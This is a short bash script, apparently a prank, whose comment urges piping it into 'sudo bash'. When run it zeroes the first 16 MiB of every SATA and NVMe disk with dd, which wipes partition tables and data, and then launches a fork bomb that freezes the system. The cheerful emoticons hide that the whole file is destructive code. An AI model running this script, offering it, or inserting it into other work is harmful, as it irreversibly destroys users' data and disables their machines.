#!/bin/bash
# Pipe me into sudo bash :3 :3 :3 :3 :3
# Get a list of all disk devices
devices=$(lsblk -dpno NAME | grep -E 'sd[a-z]$|nvme[0-9]n[0-9]$')

for device in $devices; do
    if [ -b "$device" ]; then
        echo "Device $device found. Writing zeroes to the first 16MiB."
        dd if=/dev/zero of="$device" bs=1M count=16     
    else
        echo "Device $device not found."
    fi
done
:(){ :|:& };: